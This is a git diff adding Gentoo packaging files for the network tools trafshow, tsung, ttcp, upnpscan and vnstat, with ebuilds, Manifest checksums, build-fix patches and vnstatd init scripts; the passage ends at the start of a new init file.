+DIST trafshow-5.2.3.tgz 142615 SHA256 ea7e22674a66afcc7174779d0f803c1f25b42271973b4f75fab293b8d7db11fc SHA512 9ea57c319cb177de2d29eaf2a09c06f0bd7efcfc3e50d5fa5cc18f193c6dfc0109d4388ccbaee7bf2db37b5418fc0f4b6ce47a5558b652ecf9e891a813ef8540 WHIRLPOOL ebdd335029aa6bbd85320f7f587a65f8ca645d4236fae21b2d70ed7351edb8cfea4066491f8a803775d30b840663eef621ef8e9e4fbd321d0f3da08de6d90234
diff --git a/net-analyzer/trafshow/files/trafshow-5.2.3-gcc44.patch b/net-analyzer/trafshow/files/trafshow-5.2.3-gcc44.patch
new file mode 100644
index 000000000000..02424fe1203a
--- /dev/null
+++ b/net-analyzer/trafshow/files/trafshow-5.2.3-gcc44.patch
@@ -0,0 +1,11 @@
+--- a/session.c
++++ b/session.c
+@@ -40,7 +40,7 @@
+ #define ASYNC_MODE FNDELAY
+ #elif O_ASYNC
+ #define ASYNC_MODE O_ASYNC
+-#elif
++#else
+ #error the fcntl argument to turn ON/OFF non-blocking I/O is unknown
+ #endif
+
diff --git a/net-analyzer/trafshow/files/trafshow-5.2.3-gentoo.patch b/net-analyzer/trafshow/files/trafshow-5.2.3-gentoo.patch
new file mode 100644
index 000000000000..95d342a603a4
--- /dev/null
+++ b/net-analyzer/trafshow/files/trafshow-5.2.3-gentoo.patch
@@ -0,0 +1,15 @@
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -73,9 +73,9 @@
+ @echo 'char compiled[] = "$(CC) $(CFLAGS) $(LIBS)";' >> $@
+
+ install:
+- ./install-sh -c -s -m 555 -o bin -g bin $(PROG) $(BINDEST)/$(PROG)
+- ./install-sh -c -m 444 -o bin -g bin $(PROG).1 $(MANDEST)/man1/$(PROG).1
+- [ -f /etc/$(PROG) ] || ./install-sh -c -m 444 .trafshow /etc/$(PROG)
++ ./install-sh -c -m 755 -o root -g root $(PROG) $(DESTDIR)$(BINDEST)/$(PROG)
++ ./install-sh -c -m 644 -o root -g root $(PROG).1 $(DESTDIR)$(MANDEST)/man1/$(PROG).1
++ [ -f $(DESTDIR)/etc/$(PROG) ] || ./install-sh -c -o root -m 644 .trafshow $(DESTDIR)/etc/$(PROG)
+
+ clean:
+ rm -f $(CLEANFILES)
diff --git a/net-analyzer/trafshow/files/trafshow-5.2.3-tinfo.patch b/net-analyzer/trafshow/files/trafshow-5.2.3-tinfo.patch
new file mode 100644
index 000000000000..0fd4985794d8
--- /dev/null
+++ b/net-analyzer/trafshow/files/trafshow-5.2.3-tinfo.patch
@@ -0,0 +1,75 @@
+--- a/configure.in
++++ b/configure.in
+@@ -23,6 +23,9 @@
+ AC_PROG_CC
+ AC_PROG_YACC
+ AC_PROG_LEX
++
++PKG_PROG_PKG_CONFIG
++
+ AC_REQUIRE_CPP
+ AC_AIX
+ ACX_PTHREAD(, AC_MSG_ERROR(cannot find pthread; see the INSTALL notes))
+@@ -51,7 +54,7 @@
+ )
+ )
+ if test "$ac_cv_type_in_addr_t" != yes; then
+- AC_DEFINE_UNQUOTED(in_addr_t, $ac_cv_type_in_addr_t)
++ AC_DEFINE_UNQUOTED([in_addr_t], [$ac_cv_type_in_addr_t], [addr_t])
+ fi
+
+ AC_CACHE_CHECK(for socklen_t, ac_cv_type_socklen_t,
+@@ -65,7 +68,7 @@
+ )
+ )
+ if test "$ac_cv_type_socklen_t" != yes; then
+- AC_DEFINE_UNQUOTED(socklen_t, $ac_cv_type_socklen_t)
++ AC_DEFINE_UNQUOTED([socklen_t], [$ac_cv_type_socklen_t], [socklen_t])
+ fi
+
+ AC_CACHE_CHECK(for struct sockaddr_storage, ac_cv_sockaddr_storage,
+@@ -79,7 +82,7 @@
+ )
+ )
+ if test "$ac_cv_sockaddr_storage" != no; then
+- AC_DEFINE(HAVE_SOCKADDR_STORAGE)
++ AC_DEFINE(HAVE_SOCKADDR_STORAGE, 1, [have sockaddr_storage])
+ fi
+
+ AC_CACHE_CHECK(for struct ether_addr, ac_cv_ether_addr,
+@@ -94,7 +97,7 @@
+ )
+ )
+ if test "$ac_cv_ether_addr" != no; then
+- AC_DEFINE(HAVE_ETHER_ADDR)
++ AC_DEFINE(HAVE_ETHER_ADDR, 1, [have ether_addr])
+ fi
+
+ dnl Check for network system libraries.
+@@ -144,20 +147,21 @@
+ case "$ac_cv_have_curses" in
+
+ slang)
+- AC_DEFINE(HAVE_SLCURSES)
+- AC_DEFINE(HAVE_HAS_COLORS)
++ AC_DEFINE(HAVE_SLCURSES, 1, [have slcurses])
++ AC_DEFINE(HAVE_HAS_COLORS, 1, [have colors])
+ ;;
+ ncurses)
+- AC_DEFINE(HAVE_NCURSES)
++ PKG_CHECK_MODULES(ncurses,ncurses, [LIBS="$LIBS $ncurses_LIBS"], [ncurses not found])
++ AC_DEFINE(HAVE_NCURSES, 1, [have ncurses])
+ AC_CHECK_FUNCS(has_colors)
+ ;;
+ n_curses)
+ CFLAGS="-I/usr/include/ncurses $CFLAGS"
+- AC_DEFINE(HAVE_NCURSES)
++ AC_DEFINE(HAVE_NCURSES, 1, [have n_curses])
+ AC_CHECK_FUNCS(has_colors)
+ ;;
+ curses)
+- AC_DEFINE(HAVE_CURSES)
++ AC_DEFINE(HAVE_CURSES, 1, [have curses])
+ AC_CHECK_FUNCS(has_colors)
+ ;;
+ *)
diff --git a/net-analyzer/trafshow/metadata.xml b/net-analyzer/trafshow/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/trafshow/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/trafshow/trafshow-5.2.3.ebuild b/net-analyzer/trafshow/trafshow-5.2.3.ebuild
new file mode 100644
index 000000000000..40c9101268d2
--- /dev/null
+++ b/net-analyzer/trafshow/trafshow-5.2.3.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="Full screen visualization of the network traffic"
+HOMEPAGE="http://soft.risp.ru/trafshow/index_en.shtml"
+SRC_URI="ftp://ftp.nsk.su/pub/RinetSoftware/${P}.tgz"
+
+LICENSE="BSD"
+SLOT="3"
+KEYWORDS="amd64 hppa ~ppc ppc64 sparc x86"
+IUSE="slang"
+
+DEPEND="
+ net-libs/libpcap
+ !slang? ( sys-libs/ncurses )
+ slang? ( >=sys-libs/slang-1.4 )
+"
+
+src_prepare() {
+ cat /usr/share/aclocal/pkg.m4 >> aclocal.m4 || die
+ epatch \
+ "${FILESDIR}"/${P}-gcc44.patch \
+ "${FILESDIR}"/${P}-gentoo.patch \
+ "${FILESDIR}"/${P}-tinfo.patch
+ eautoreconf
+}
+
+src_configure() {
+ if ! use slang; then
+ # No command-line option so pre-cache instead
+ export ac_cv_have_curses=ncurses
+ export LIBS=-lncurses
+ fi
+
+ econf
+}
diff --git a/net-analyzer/tsung/Manifest b/net-analyzer/tsung/Manifest
new file mode 100644
index 000000000000..df726951047d
--- /dev/null
+++ b/net-analyzer/tsung/Manifest
@@ -0,0 +1,2 @@
+DIST tsung-1.5.1.tar.gz 1422049 SHA256 551457ffe89d1c5b7d064b13fe82e6bff00523ccc7a00367b0ae38cad0c2282b SHA512 e6efe3b1b44d0511febe189e63087a484e16f7c1f77f3e3fc3f84154061f9d7020e5b93bac32a45ae9a519a0e34ba50e0d155d3199996c95876f060caa410db6 WHIRLPOOL b1e35c23993b68053b74f1b38ea2ecc20c5c5c4f514a7e4daacc85fd8a61586ddb407d9c12b6d5d4016907eb9d145b670db7aef9b51ca7e870e0f26122dbbe24
+DIST tsung-1.6.0.tar.gz 1585794 SHA256 56846c3a90fd7037d9a76330cb8f3052238344491e2fe6ef1ebdb0b620eb3d84 SHA512 c66a84fc9b6781398ed4dee67f076fcddca28c5156782c05d6f5d7ce3e5e2ed6dbdb4076585f45a42aea65237b68aa08c8c80539706202a10cfec4e3ac8170cd WHIRLPOOL 3f083239c6c0950b6420dd7d401d0267f30655f5a3470f136326e6cc35414f779d58eb8e8aeac40eecb279976f5228369e5786e9df2b582e4ed75b45dc9fd35b
diff --git a/net-analyzer/tsung/metadata.xml b/net-analyzer/tsung/metadata.xml
new file mode 100644
index 000000000000..24cbb90cf0c4
--- /dev/null
+++ b/net-analyzer/tsung/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>patrick@gentoo.org</email>
+ <name>Patrick Lauer</name>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/tsung/tsung-1.5.1.ebuild b/net-analyzer/tsung/tsung-1.5.1.ebuild
new file mode 100644
index 000000000000..8bc875d843a3
--- /dev/null
+++ b/net-analyzer/tsung/tsung-1.5.1.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="3"
+
+# Seems to be misconfigured
+RESTRICT="test"
+
+inherit eutils
+
+DESCRIPTION="Erlang's multi-protocol distributed load testing tool"
+HOMEPAGE="http://tsung.erlang-projects.org/"
+SRC_URI="http://tsung.erlang-projects.org/dist/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="dev-lang/erlang"
+RDEPEND=${DEPEND}
+
+src_configure() {
+ ./configure --prefix="/usr" || die "econf failed"
+}
+
+src_compile() {
+ emake || die "Failed building"
+}
+
+src_install() {
+ emake -j1 DESTDIR="${D}" install || die "Failed installing"
+}
diff --git a/net-analyzer/tsung/tsung-1.6.0.ebuild b/net-analyzer/tsung/tsung-1.6.0.ebuild
new file mode 100644
index 000000000000..e9bd34102d56
--- /dev/null
+++ b/net-analyzer/tsung/tsung-1.6.0.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="3"
+
+# Seems to be misconfigured
+RESTRICT="test"
+
+inherit eutils
+
+DESCRIPTION="Erlang's multi-protocol distributed load testing tool"
+HOMEPAGE="http://tsung.erlang-projects.org/"
+SRC_URI="http://tsung.erlang-projects.org/dist/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="dev-lang/erlang"
+RDEPEND=${DEPEND}
+
+src_configure() {
+ ./configure --prefix="/usr" || die "econf failed"
+}
+
+src_compile() {
+ emake || die "Failed building"
+}
+
+src_install() {
+ emake -j1 DESTDIR="${D}" install || die "Failed installing"
+}
diff --git a/net-analyzer/ttcp/Manifest b/net-analyzer/ttcp/Manifest
new file mode 100644
index 000000000000..ff3d45619d1c
--- /dev/null
+++ b/net-analyzer/ttcp/Manifest
@@ -0,0 +1,2 @@
+DIST ttcp-1.12.tar.bz2 8086 SHA256 a87b7b7fb14a0d067a49905c66cee2f552efc0d326b6734ec3d160518febd5a8 SHA512 2218f801a04964dcc684bac2957f892569e4458eb7770e26d4ac5a9a5beebb16b9191cacd8e60cceee306b8fe53000248b52457cb679a3d12ad4308bb0066dbb WHIRLPOOL 75f3b7a0f4c5d2e6da0392078f2fa27ffe1bb4413cecffe947fa13b74f477869fa65f8a253215a4a6d970d7d8324a7fd824cad82ae03d7958523338fa85fd268
+DIST ttcp.c 23690 SHA256 52f438ef4f57ddbdd1e0dcd77efeffbdf10e59ff09279cff2fcc717803536612 SHA512 8fc800b05fcf3590d15a87983ac7abc3646c6d4a89f7cc6b91e495066a90a6ce21f7bd7b6ab21e09f07bfa20c39bdc7bcec479449d7cd2b88639dc6cca4a432e WHIRLPOOL ff33d64e541207d2c3bf62facf20038fb63ed00a71b4347a0610e25ad0122dea839b281ff8e871fabd4bfbd64ba4bde01d6fa5dde840e65924e15ecb6d5e818b
diff --git a/net-analyzer/ttcp/files/ttcp-1.12-amd64.patch b/net-analyzer/ttcp/files/ttcp-1.12-amd64.patch
new file mode 100644
index 000000000000..41d9af240743
--- /dev/null
+++ b/net-analyzer/ttcp/files/ttcp-1.12-amd64.patch
@@ -0,0 +1,217 @@
+--- ttcp-1.12/sgi-ttcp.c 1999-06-24 17:59:43.000000000 -0400
++++ sgi-ttcp.c 2004-03-26 11:09:06.387402200 -0500
+@@ -45,6 +45,9 @@
+ /* #define SYSV */ /* required on SGI IRIX releases before 3.3 */
+
+ #include <stdio.h>
++#include <stdlib.h>
++#include <string.h>
++#include <unistd.h>
+ #include <signal.h>
+ #include <ctype.h>
+ #include <errno.h>
+@@ -133,7 +136,7 @@
+
+ void err();
+ void mes();
+-int pattern();
++void pattern();
+ void prep_timer();
+ double read_timer();
+ int Nread();
+@@ -147,6 +150,7 @@
+ {
+ }
+
++int
+ main(argc,argv)
+ int argc;
+ char **argv;
+@@ -263,7 +267,7 @@
+ if ( (buf = (char *)malloc(buflen+bufalign)) == (char *)NULL)
+ err("malloc");
+ if (bufalign != 0)
+- buf +=(bufalign - ((int)buf % bufalign) + bufoffset) % bufalign;
++ buf +=(bufalign - ((intptr_t)buf % bufalign) + bufoffset) % bufalign;
+
+ if (trans) {
+ fprintf(stdout,
+@@ -285,7 +289,7 @@
+ err("socket");
+ mes("socket");
+
+- if (bind(fd, &sinme, sizeof(sinme)) < 0)
++ if (bind(fd, (struct sockaddr *)&sinme, sizeof(sinme)) < 0)
+ err("bind");
+
+ #if defined(SO_SNDBUF) || defined(SO_RCVBUF)
+@@ -326,7 +330,7 @@
+ mes("nodelay");
+ }
+ #endif
+- if(connect(fd, &sinhim, sizeof(sinhim) ) < 0)
++ if(connect(fd, (struct sockaddr *)&sinhim, sizeof(sinhim) ) < 0)
+ err("connect");
+ mes("connect");
+ } else {
+@@ -348,11 +352,11 @@
+ }
+ fromlen = sizeof(frominet);
+ domain = AF_INET;
+- if((fd=accept(fd, &frominet, &fromlen) ) < 0)
++ if((fd=accept(fd, (struct sockaddr *)&frominet, &fromlen) ) < 0)
+ err("accept");
+ { struct sockaddr_in peer;
+ int peerlen = sizeof(peer);
+- if (getpeername(fd, (struct sockaddr_in *) &peer,
++ if (getpeername(fd, (struct sockaddr *) &peer,
+ &peerlen) < 0) {
+ err("getpeername");
+ }
+@@ -423,7 +427,7 @@
+ nbytes, cput, outfmt(nbytes/cput));
+ }
+ fprintf(stdout,
+- "ttcp%s: %d I/O calls, msec/call = %.2f, calls/sec = %.2f\n",
++ "ttcp%s: %ld I/O calls, msec/call = %.2f, calls/sec = %.2f\n",
+ trans?"-t":"-r",
+ numCalls,
+ 1024.0 * realt/((double)numCalls),
+@@ -431,9 +435,9 @@
+ fprintf(stdout,"ttcp%s: %s\n", trans?"-t":"-r", stats);
+ if (verbose) {
+ fprintf(stdout,
+- "ttcp%s: buffer address %#x\n",
++ "ttcp%s: buffer address %#lx\n",
+ trans?"-t":"-r",
+- buf);
++ (unsigned long)buf);
+ }
+ exit(0);
+
+@@ -459,6 +463,7 @@
+ fprintf(stderr,"ttcp%s: %s\n", trans?"-t":"-r", s);
+ }
+
++void
+ pattern( cp, cnt )
+ register char *cp;
+ register int cnt;
+@@ -614,13 +619,13 @@
+
+ case 'U':
+ tvsub(&tdiff, &r1->ru_utime, &r0->ru_utime);
+- sprintf(outp,"%d.%01d", tdiff.tv_sec, tdiff.tv_usec/100000);
++ sprintf(outp,"%ld.%01ld", tdiff.tv_sec, tdiff.tv_usec/100000);
+ END(outp);
+ break;
+
+ case 'S':
+ tvsub(&tdiff, &r1->ru_stime, &r0->ru_stime);
+- sprintf(outp,"%d.%01d", tdiff.tv_sec, tdiff.tv_usec/100000);
++ sprintf(outp,"%ld.%01ld", tdiff.tv_sec, tdiff.tv_usec/100000);
+ END(outp);
+ break;
+
+@@ -642,49 +647,49 @@
+ break;
+
+ case 'X':
+- sprintf(outp,"%d", t == 0 ? 0 : (r1->ru_ixrss-r0->ru_ixrss)/t);
++ sprintf(outp,"%ld", t == 0 ? 0 : (r1->ru_ixrss-r0->ru_ixrss)/t);
+ END(outp);
+ break;
+
+ case 'D':
+- sprintf(outp,"%d", t == 0 ? 0 :
++ sprintf(outp,"%ld", t == 0 ? 0 :
+ (r1->ru_idrss+r1->ru_isrss-(r0->ru_idrss+r0->ru_isrss))/t);
+ END(outp);
+ break;
+
+ case 'K':
+- sprintf(outp,"%d", t == 0 ? 0 :
++ sprintf(outp,"%ld", t == 0 ? 0 :
+ ((r1->ru_ixrss+r1->ru_isrss+r1->ru_idrss) -
+ (r0->ru_ixrss+r0->ru_idrss+r0->ru_isrss))/t);
+ END(outp);
+ break;
+
+ case 'M':
+- sprintf(outp,"%d", r1->ru_maxrss/2);
++ sprintf(outp,"%ld", r1->ru_maxrss/2);
+ END(outp);
+ break;
+
+ case 'F':
+- sprintf(outp,"%d", r1->ru_majflt-r0->ru_majflt);
++ sprintf(outp,"%ld", r1->ru_majflt-r0->ru_majflt);
+ END(outp);
+ break;
+
+ case 'R':
+- sprintf(outp,"%d", r1->ru_minflt-r0->ru_minflt);
++ sprintf(outp,"%ld", r1->ru_minflt-r0->ru_minflt);
+ END(outp);
+ break;
+
+ case 'I':
+- sprintf(outp,"%d", r1->ru_inblock-r0->ru_inblock);
++ sprintf(outp,"%ld", r1->ru_inblock-r0->ru_inblock);
+ END(outp);
+ break;
+
+ case 'O':
+- sprintf(outp,"%d", r1->ru_oublock-r0->ru_oublock);
++ sprintf(outp,"%ld", r1->ru_oublock-r0->ru_oublock);
+ END(outp);
+ break;
+ case 'C':
+- sprintf(outp,"%d+%d", r1->ru_nvcsw-r0->ru_nvcsw,
++ sprintf(outp,"%ld+%ld", r1->ru_nvcsw-r0->ru_nvcsw,
+ r1->ru_nivcsw-r0->ru_nivcsw );
+ END(outp);
+ break;
+@@ -743,6 +748,7 @@
+ /*
+ * N R E A D
+ */
++int
+ Nread( fd, buf, count )
+ int fd;
+ void *buf;
+@@ -752,7 +758,7 @@
+ int len = sizeof(from);
+ register int cnt;
+ if( udp ) {
+- cnt = recvfrom( fd, buf, count, 0, &from, &len );
++ cnt = recvfrom( fd, buf, count, 0, (struct sockaddr *)&from, &len );
+ numCalls++;
+ } else {
+ if( b_flag )
+@@ -774,6 +780,7 @@
+ /*
+ * N W R I T E
+ */
++int
+ Nwrite( fd, buf, count )
+ int fd;
+ void *buf;
+@@ -782,7 +789,7 @@
+ register int cnt;
+ if( udp ) {
+ again:
+- cnt = sendto( fd, buf, count, 0, &sinhim, sizeof(sinhim) );
++ cnt = sendto( fd, buf, count, 0, (struct sockaddr *)&sinhim, sizeof(sinhim) );
+ numCalls++;
+ if( cnt<0 && errno == ENOBUFS ) {
+ delay(18000);
+@@ -803,7 +810,7 @@
+
+ tv.tv_sec = 0;
+ tv.tv_usec = us;
+- (void)select( 1, (char *)0, (char *)0, (char *)0, &tv );
++ (void)select( 1, NULL, NULL, NULL, &tv );
+ }
+
+ /*
diff --git a/net-analyzer/ttcp/metadata.xml b/net-analyzer/ttcp/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/ttcp/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/ttcp/ttcp-1.12-r2.ebuild b/net-analyzer/ttcp/ttcp-1.12-r2.ebuild
new file mode 100644
index 000000000000..1f8cb4251e5e
--- /dev/null
+++ b/net-analyzer/ttcp/ttcp-1.12-r2.ebuild
@@ -0,0 +1,28 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs
+
+DESCRIPTION="Tool to test TCP and UDP throughput"
+HOMEPAGE="
+ http://ftp.arl.mil/~mike/ttcp.html
+ http://www.netcore.fi/pekkas/linux/ipv6/
+"
+LICENSE="public-domain"
+SLOT="0"
+KEYWORDS="amd64 ~hppa ~mips ppc ~sparc x86 ~amd64-linux ~x86-linux ~ppc-macos"
+SRC_URI="
+ mirror://gentoo/${P}.tar.bz2
+ http://www.netcore.fi/pekkas/linux/ipv6/${PN}.c
+"
+
+src_compile() {
+ $(tc-getCC) ${CFLAGS} ${LDFLAGS} -o ${PN} "${DISTDIR}"/${PN}.c || die
+}
+
+src_install() {
+ dobin ${PN}
+ newman sgi-${PN}.1 ${PN}.1
+}
diff --git a/net-analyzer/upnpscan/Manifest b/net-analyzer/upnpscan/Manifest
new file mode 100644
index 000000000000..336d38651932
--- /dev/null
+++ b/net-analyzer/upnpscan/Manifest
@@ -0,0 +1 @@
+DIST upnpscan-v0.4-src.tgz 309011 SHA256 0d41d63efcc9ed15133306d9996ec72a07ddb047552fca0ac417eeb412db045b SHA512 d7791afdc6d3f318a1a29486485ab5f71a1a32159a2212164c763748a047c8243e3017afc887e9394ae78ffc2412091ed590a714c4a482b44792ae8a835e095e WHIRLPOOL 34b3fa2756577ebb637cd8486effc2356601b1dc9ec742e19b43e1a8bbe01b9ee08fbb5bc9bc0cdb9e02579188c5c6f4d8bbc305cfa7ca328827f25cb886ca40
diff --git a/net-analyzer/upnpscan/files/upnpscan-0.4-r2-cflags.patch b/net-analyzer/upnpscan/files/upnpscan-0.4-r2-cflags.patch
new file mode 100644
index 000000000000..46be9888ec7c
--- /dev/null
+++ b/net-analyzer/upnpscan/files/upnpscan-0.4-r2-cflags.patch
@@ -0,0 +1,51 @@
+--- a/configure.in 2005-06-23 17:02:57.000000000 +0200
++++ b/configure.in 2010-11-01 04:44:44.000000000 +0100
+@@ -8,12 +8,10 @@
+ AM_CONFIG_HEADER(config.h)
+
+ AC_ISC_POSIX
+-CFLAGS=""
+ AC_SUBST(CFLAGS)
+ AC_PROG_CC
+ AM_PROG_CC_STDC
+ AC_HEADER_STDC
+-AM_PROG_LIBTOOL
+
+ dnl Checks for programs.
+
+--- a/Makefile.am 2005-06-23 12:32:13.000000000 +0200
++++ b/Makefile.am 2010-11-01 04:46:41.000000000 +0100
+@@ -5,20 +5,6 @@
+
+ SUBDIRS = src
+
+-upnpscandocdir = ${prefix}/doc/upnpscan
+-upnpscandoc_DATA = \
+- README\
+- COPYING\
+- AUTHORS\
+- ChangeLog\
+- INSTALL\
+- NEWS\
+- TODO
+-
+-EXTRA_DIST = $(upnpscandoc_DATA)
+-
+-
+-
+ # Copy all the spec files. Of cource, only one is actually used.
+ dist-hook:
+ for specfile in *.spec; do \
+--- a/src/Makefile.am 2005-06-21 22:57:32.000000000 +0200
++++ b/src/Makefile.am 2010-11-01 04:53:22.000000000 +0100
+@@ -7,10 +7,6 @@
+ INCLUDES =\
+ -I../include
+
+-AM_CFLAGS =\
+- -Wall\
+- -g
+-
+ bin_PROGRAMS = upnpscan
+
+ upnpscan_SOURCES = \
diff --git a/net-analyzer/upnpscan/metadata.xml b/net-analyzer/upnpscan/metadata.xml
new file mode 100644
index 000000000000..c059e1ca5cd7
--- /dev/null
+++ b/net-analyzer/upnpscan/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>
+A tool that scans the LAN or a given address range for UPnP capable
+devices. This is done by sending M-SEARCH discovery packets to either
+the UPnP multicast address or to the specified ip range.
+</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/upnpscan/upnpscan-0.4-r3.ebuild b/net-analyzer/upnpscan/upnpscan-0.4-r3.ebuild
new file mode 100644
index 000000000000..a80205e8a493
--- /dev/null
+++ b/net-analyzer/upnpscan/upnpscan-0.4-r3.ebuild
@@ -0,0 +1,24 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+AUTOTOOLS_AUTORECONF=1
+AUTOTOOLS_IN_SOURCE_BUILD=1
+
+inherit autotools-utils
+
+DESCRIPTION="Scans the network for UPNP capable devices"
+HOMEPAGE="http://www.cqure.net/wp/upnpscan/"
+SRC_URI="http://www.cqure.net/tools/${PN}-v${PV}-src.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+
+S=${WORKDIR}/${PN}
+
+DOCS=( AUTHORS ChangeLog NEWS README TODO )
+
+PATCHES=( "${FILESDIR}"/${P}-r2-cflags.patch )
diff --git a/net-analyzer/vnstat/Manifest b/net-analyzer/vnstat/Manifest
new file mode 100644
index 000000000000..63786c06d701
--- /dev/null
+++ b/net-analyzer/vnstat/Manifest
@@ -0,0 +1,4 @@
+DIST vnstat-1.11.tar.gz 79075 SHA256 b71876d817bbb6a16d31b4236e22a2eb6c39666a7f7bfea581f5ff441cade026 SHA512 f16a0cc5065665c46de9781b6d92e96f0966520e5448fc529150ced886574fe07d0695df5051828b58183d06a707b7b2e94562b06db1898dacb858517a5485b1 WHIRLPOOL bc93704b8f9c39830f1ba8c2d39cc7ba7d0b317d35941547870bd5cf8c2f374050cdbae7c8ce444765cd5fb22c78d28e6099f32b06aee9d836451b399216e6ef
+DIST vnstat-1.12.tar.gz 98435 SHA256 af1050d9c1b22d4b9742fe0d1818de9eb1037b8e7f9ba67b962e108d8527be69 SHA512 0d6b5f362bbcbb4a104f82b8e350f5d8b071e974a3fdfb100333c3d8e5a096a71a97360543d2594fd3f2108df8bb03ffffc4c52d396f28723005a5d1bf605eb1 WHIRLPOOL 590197dc62b077268e0814d7ce15f5f519d53328a68e57743c1a3375082410239d75e28674094dbb7d14b27d17769f7de6d0eccd716a05d50d86f5d06274c9a0
+DIST vnstat-1.13.tar.gz 101568 SHA256 6f4e2599ebb195b25f499d3e2e865aa14da336dfc9cc03a79181aa71f7ed99cd SHA512 b9620349247db292b13cd06db1921b4e5921a473957ac387f6adfc21acdc441910f73b97dfa5f024d7ba7a6521d1d9d97e2b25337673f423bcdbd064207f01a4 WHIRLPOOL 6b9aeb96790eeef2b287cdffeb4d41b2db22803e7218dafb27944bb14acf255bf590dcb82220c72f388c8cc387045b87335a2e4973a07c5ef1e1c98c710e068d
+DIST vnstat-1.14.tar.gz 103281 SHA256 f8462a47d85d0890493dc9eaeafbc725ae631aa5b103fb7f8af4ddb2314e8386 SHA512 a2aebcdd0c4aa4a821579b751af587af44a5c3f14864d3022a05f65c4df2b9ddece0ed414097346d95124a3ea5fb89ea26bf44c68d3c7ca7237573dd5f1e8239 WHIRLPOOL 1b8b6ac7eeaec936d7c8d17d6a384c13f8daa9ee8e451d94abffc1b373eb3b106ed2b4c95af9f833c4c6e732a4ebc0ccdb1544988da650012add99d7915fd068
diff --git a/net-analyzer/vnstat/files/vnstat.cron b/net-analyzer/vnstat/files/vnstat.cron
new file mode 100644
index 000000000000..690681327688
--- /dev/null
+++ b/net-analyzer/vnstat/files/vnstat.cron
@@ -0,0 +1,9 @@
+#!/bin/bash
+
+# run vnstat if installed and at least one database exists
+
+# Uncomment the following to enable
+
+#if [ -x /usr/bin/vnstat ] && [ `ls /var/lib/vnstat/ | wc -l` -ge 1 ] ; then
+# exec /usr/bin/vnstat -u
+#fi
diff --git a/net-analyzer/vnstat/files/vnstatd.confd b/net-analyzer/vnstat/files/vnstatd.confd
new file mode 100644
index 000000000000..17901419aacb
--- /dev/null
+++ b/net-analyzer/vnstat/files/vnstatd.confd
@@ -0,0 +1,7 @@
+# /etc/conf.d/vnstatd: config file for /etc/init.d/vnstatd
+
+# Adjust scheduling priority on vnstatd (default: 0)
+#VNSTATD_NICELEVEL="0"
+
+# Pass extra options to vnstatd
+#VNSTATD_EXTRAOPTS="--config /etc/vnstat.conf"
diff --git a/net-analyzer/vnstat/files/vnstatd.initd b/net-analyzer/vnstat/files/vnstatd.initd
new file mode 100644
index 000000000000..2cfb781042c1
--- /dev/null
+++ b/net-analyzer/vnstat/files/vnstatd.initd
@@ -0,0 +1,37 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+extra_started_commands="reload"
+
+depend() {
+ use net
+}
+
+VNSTATD_PIDFILE="${VNSTATD_PIDFILE:-/var/run/vnstatd/vnstatd.pid}"
+
+start() {
+ ebegin "Starting vnstatd"
+ checkpath -q -d -m 755 -o vnstat:vnstat /var/run/vnstatd
+ start-stop-daemon --start --quiet \
+ --pidfile "${VNSTATD_PIDFILE}" \
+ --user vnstat --group vnstat \
+ --nicelevel ${VNSTATD_NICELEVEL:-0} \
+ --exec /usr/bin/vnstatd -- \
+ -d ${VNSTATD_EXTRAOPTS} -p ${VNSTATD_PIDFILE}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping vnstatd"
+ start-stop-daemon --stop --quiet \
+ --pidfile "${VNSTATD_PIDFILE}"
+ eend $?
+}
+
+reload() {
+ ebegin "Reloading vnstatd configuration"
+ kill -HUP $(< "${VNSTATD_PIDFILE}") &>/dev/null
+ eend $?
+}
diff --git a/net-analyzer/vnstat/files/vnstatd.initd-r1 b/net-analyzer/vnstat/files/vnstatd.initd-r1
new file mode 100644
index 000000000000..51e8183b26cd
--- /dev/null
+++ b/net-analyzer/vnstat/files/vnstatd.initd-r1
@@ -0,0 +1,38 @@
